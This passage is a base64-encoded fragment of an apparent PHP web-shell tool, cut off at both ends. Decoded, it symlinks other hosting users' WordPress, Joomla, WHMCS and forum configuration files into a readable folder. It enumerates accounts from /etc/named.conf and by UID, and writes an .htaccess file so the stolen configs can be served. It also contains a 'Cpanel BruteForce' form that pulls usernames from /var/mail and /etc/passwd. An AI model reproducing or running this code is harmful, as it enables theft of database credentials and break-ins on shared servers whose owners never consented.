Nlcm4uJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGEyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0zLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG02LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTcudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTgudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTkudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRwZG9tYWluLid+fjUudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJHBkb21haW4uJ35+NC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRwZG9tYWluLid+fmludmlzaW8udHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fjcudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRwZG9tYWluLid+fjgudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRwZG9tYWluLid+fm1rLXBvcnRhbGUxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJHBkb21haW4uJ35+MTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywkcGRvbWFpbi4nfn5TbWYudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJHBkb21haW4uJ35+cGhwYmIzLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkcGRvbWFpbi4nfn5pbmZpbml0eS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4xLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW40LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRwZG9tYWluLid+flBocGJiMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn5QaHBiYjIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRwZG9tYWluLid+fldvcmRwcmVzczIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0xLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTUudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG03LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG04LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG05LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywkcGRvbWFpbi4nfn41LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywkcGRvbWFpbi4nfn5pbnZpc2lvLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkcGRvbWFpbi4nfn43LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywkcGRvbWFpbi4nfn44LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywkcGRvbWFpbi4nfn5tay1wb3J0YWxlMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjEyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJHBkb21haW4uJ35+U21mLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRwZG9tYWluLid+fnBocGJiMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+aW5maW5pdHkudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4yLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluNC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywkcGRvbWFpbi4nfn5QaHBiYjEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRwZG9tYWluLid+fldvcmRwcmVzczEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywkcGRvbWFpbi4nfn5Xb3JkcHJlc3MyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGExLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGEzLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0yLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG00LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG01LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTYudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJHBkb21haW4uJ35+NS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywkcGRvbWFpbi4nfn40LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJHBkb21haW4uJ35+aW52aXNpby50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+Ny50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJHBkb21haW4uJ35+OC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJHBkb21haW4uJ35+bWstcG9ydGFsZTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywkcGRvbWFpbi4nfn4xMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRwZG9tYWluLid+flNtZi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywkcGRvbWFpbi4nfn5waHBiYjMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fmluZmluaXR5LnR4dCcpOwoJfQoKCQkJCSRkMG1haW5zID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOwoJCQoJCQkJaWYoJGQwbWFpbnMpCgkJCQl7CgkJCQkJbWtkaXIoJGZuKTsKCQkJCQljaGRpcigkZm4pOwoJCQkJCQkJCQkJCgkJCQkJZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKQoJCQkJCXsKCQkJCQkJaWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKQoJCQkJCQl7CgkJCQkJCQlwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsKCQkJCQkJCWZsdXNoKCk7CgkJCQkJCQkJCgkJCQkJCQlpZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMikKCQkJCQkJCXsgCgkJCQkJCQkJJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbnNbMV1bMF0pKTsKCQkJCQkJCQkKCQkJCQkJCQlzeW1sKCR1c2VyWyduYW1lJ10sJGRvbWFpbnNbMV1bMF0pOwkJCQkJCgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9CgkJCQkJZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj1saW1lIHNpemU9Mz5bIERvbmUgXTwvZm9udD48L2NlbnRlcj4iOwoJCQkJCWVjaG8gIjxicj48Y2VudGVyPjxhIGhyZWY9JGZuLyB0YXJnZXQ9X2JsYW5rPjxmb250IHNpemU9MyBjb2xvcj0jMDA5OTAwPnwgR28gSGVyZSB8PC9mb250PjwvYT48L2NlbnRlcj4iOyAKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQlta2RpcigkZm4pOwoJCQkJCWNoZGlyKCRmbik7CgkJCQkJJHRlbXAgPSAiIjsKCQkJCQkkdmFsMSA9IDA7CgkJCQkJJHZhbDIgPSAxMDAwOwoJCQkJCWZvcig7JHZhbDEgPD0gJHZhbDI7JHZhbDErKykgCgkJCQkJewoJCQkJCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKCR2YWwxKTsKCQkJCQkJaWYgKCR1aWQpCgkJCQkJCQkkdGVtcCAuPSBqb2luKCc6JywkdWlkKS4iXG4iOwoJCQkJCSB9CgkJCQkJIGVjaG8gJzxici8+JzsKCQkJCQkgJHRlbXAgPSB0cmltKCR0ZW1wKTsKCQkJCQkgCgkJCQkJICRmaWxlNSA9IGZvcGVuKCJ0ZXN0LnR4dCIsInciKTsKCQkJCQkgZnB1dHMoJGZpbGU1LCR0ZW1wKTsKCQkJCQkgZmNsb3NlKCRmaWxlNSk7CgokaHRhY2Nlc3MgPQonVDNCMGFXOXVjeUJoYkd3Z0NrUnBjbVZqZEc5eWVVbHVaR1Y0SUhKbFlXUnRaUzVvZEcxc0lBcEJaR1JVZVhCbElIUmxlSFF2Y0d4aAphVzRnTG5Cb2NDQUtRV1JrU0dGdVpHeGxjaUJ6WlhKMlpYSXRjR0Z5YzJWa0lDNXdhSEFnQ2tGa1pGUjVjR1VnZEdWNGRDOXdiR0ZwCmJpQXVhSFJ0YkNBS1FXUmtTR0Z1Wkd4bGNpQjBlSFFnTG1oMGJXd2dDbEpsY1hWcGNtVWdUbTl1WlNBS1UyRjBhWE5tZVNCQmJuaz0KJzsKJGZpbGUgPSBmb3BlbigiLmh0YWNjZXNzIiwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkaHRhY2Nlc3MpKTsKCQkJCQkgCgkJCQkJICRmaWxlID0gZm9wZW4oInRlc3QudHh0IiwgInIiKSBvciBleGl0KCJVbmFibGUgdG8gb3BlbiBmaWxlISIpOwoJCQkJCSB3aGlsZSghZmVvZigkZmlsZSkpCgkJCQkJIHsKCQkJCQkJJHMgPSBmZ2V0cygkZmlsZSk7CgkJCQkJCSRtYXRjaGVzID0gYXJyYXkoKTsKCQkJCQkJJHQgPSBwcmVnX21hdGNoKCcvXC8oLio/KVw6XC8vcycsICRzLCAkbWF0Y2hlcyk7CgkJCQkJCSRtYXRjaGVzID0gc3RyX3JlcGxhY2UoImhvbWUvIiwiIiwkbWF0Y2hlc1sxXSk7CgkJCQkJCWlmKHN0cmxlbigkbWF0Y2hlcykgPiAxMiB8fCBzdHJsZW4oJG1hdGNoZXMpID09IDAgfHwgJG1hdGNoZXMgPT0gImJpbiIgfHwgJG1hdGNoZXMgPT0gImV0Yy9YMTEvZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvbGliL25mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9hcnB3YXRjaCIgfHwgJG1hdGNoZXMgPT0gInZhci9nb3BoZXIiIHx8ICRtYXRjaGVzID09ICJzYmluIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FkbSIgfHwgJG1hdGNoZXMgPT0gInVzci9nYW1lcyIgfHwgJG1hdGNoZXMgPT0gInZhci9mdHAiIHx8ICRtYXRjaGVzID09ICJldGMvbnRwIiB8fCAkbWF0Y2hlcyA9PSAidmFyL3d3dyIgfHwgJG1hdGNoZXMgPT0gInZhci9uYW1lZCIpCgkJCQkJCQljb250aW51ZTsKCQkJCQkJc3ltbCgkbWF0Y2hlcywkbWF0Y2hlcyk7CgkJCQkJIH0KCQkJCQlmY2xvc2UoJGZpbGUpOwoJCQkJCWVjaG8gIjwvdGFibGU+IjsKCQkJCQl1bmxpbmsoInRlc3QudHh0Iik7CgkJCQkJZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj1saW1lIHNpemU9Mz5bIERvbmUgXTwvZm9udD48L2NlbnRlcj4iOwoJCQkJCWVjaG8gIjxicj48Y2VudGVyPjxhIGhyZWY9JGZuLyB0YXJnZXQ9X2JsYW5rPjxmb250IHNpemU9MyBjb2xvcj0jMDA5OTAwPnwgR28gSGVyZSB8PC9mb250PjwvYT48L2NlbnRlcj4iOyAKCQkJCX0KZWNobyAiPGhyPjxjZW50ZXI+PGI+PGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+PDwgQkFDSzwvYT4iOwpleGl0Owp9Cj8+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgdGFyZ2V0PSJfYmxhbmsiPgoJPHN0cm9uZz4KPGlucHV0IG5hbWU9InBhZ2UiIHR5cGU9ImhpZGRlbiIgdmFsdWU9ImZpbmQiPjx0YWJsZT4gICAgICAJCQkJCiAgICA8L3N0cm9uZz48YnI+PGJyPjxjZW50ZXI+PGZvbnQgc2l6ZT0iMyIgYWxpZ249ImNlbnRlciIgc3R5bGU9Iml0YWxpYyIgY29sb3I9IiMwMGZmMDAiPistLT1bIENwYW5lbCBCcnV0ZUZvcmNlIF09LS0rPC9mb250PjwvY2VudGVyPjxicj4KICAgIDx0YWJsZSB3aWR0aD0iNjAwIiBib3JkZXI9IjAiIGNsYXNzPSJ0YWJuZXQiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgk8dHI+Cgk8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTIiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPgoJPGNlbnRlcj48Yj48Zm9udCBzaXplPSIzIiBzdHlsZT0iaXRhbGljIiBjb2xvcj0iIzAwZmYwMCI+WyBDcGFuZWwgQnJ1dGUgRm9yY2UgXTwvZm9udD48L2I+PC9jZW50ZXI+PC90ZD48L3RyPgogICAgPHRyPgogICAgPHRkPgogICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTIiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPgoJPHN0cm9uZz5Vc2VybmFtZSBMaXN0IDo8L3N0cm9uZz48L3RkPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPjx0ZXh0YXJlYSBjb2xzPSI3OSIgY2xhc3MgPSdpbnB1dHonIHJvd3M9IjEwIiBuYW1lPSJ1c2VybmFtZXMiPjw/cGhwIHN5c3RlbSgnbHMgL3Zhci9tYWlsJyk7Pz48L3RleHRhcmVhPjwvc3Ryb25nPjwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUyIiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4KCTxzdHJvbmc+UGFzc3dvcmQgTGlzdCA6PC9zdHJvbmc+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48dGV4dGFyZWEgY29scz0iNzkiIGNsYXNzID0naW5wdXR6JyByb3dzPSIxMCIgbmFtZT0icGFzc3dvcmRzIj48L3RleHRhcmVhPjwvc3Ryb25nPjwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUyIiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4KCTxzdHJvbmc+VHlwZSA6PC9zdHJvbmc+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+CiAgICA8c3BhbiBjbGFzcz0ic3R5bGUyIj48c3Ryb25nPlNpbXBsZSA6IDwvc3Ryb25nPiA8L3NwYW4+Cgk8c3Ryb25nPgoJPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJ0eXBlIiB2YWx1ZT0ic2ltcGxlIiBjaGVja2VkPSJjaGVja2VkIiBjbGFzcz0ic3R5bGUzIj48L3N0cm9uZz4KICAgIDxmb250IGNsYXNzPSJzdHlsZTIiPjxzdHJvbmc+L2V0Yy9wYXNzd2QgOiA8L3N0cm9uZz4gPC9mb250PgoJPHN0cm9uZz4KCTxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0idHlwZSIgdmFsdWU9InBhc3N3ZCIgY2xhc3M9InN0eWxlMyI+PC9zdHJvbmc+PHNwYW4gY2xhc3M9InN0eWxlMyI+PHN0cm9uZz4KCTwvc3Ryb25nPgoJPC9zcGFuPgogICAgPC90ZD4KICAgIDwvdHI+CiAgICA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjwvdGQ+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiICBjb2xzcGFuPSI1Ij48c3Ryb25nPjxpbnB1dCBjbGFzcyA9J2lucHV0emJ1dCcgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3RhcnQiPgogICAgPC9zdHJvbmc+CiAgICA8L3RkPgogICAgPHRyPgo8L2Zvcm0+IAo8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTEiIGNvbHNwYW49IjYiPjxjZW50ZXI+PHN0cm9uZz5bIEdldCBDb25maWcgXTwvc3Ryb25nPjwvY2VudGVyPjwvdGQ+CiAgICAJCQkJPC90cj4KPGZvcm0gbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Il9ibGFuayI+Cgk8c3Ryb25nPgo8aW5wdXQgbmFtZT0ibWVuZGFwYXRrYW4iIHR5cGU9ImhpZGRlbiIgdmFsdWU9InBhc3N3ZCI+ICAgICAgICAJCQkJCiAgICA8L3N0cm9uZz4KICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PHN0cm9uZz5Gb2xkZXIgTmFtZSA6PC9zdHJvbmc+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0i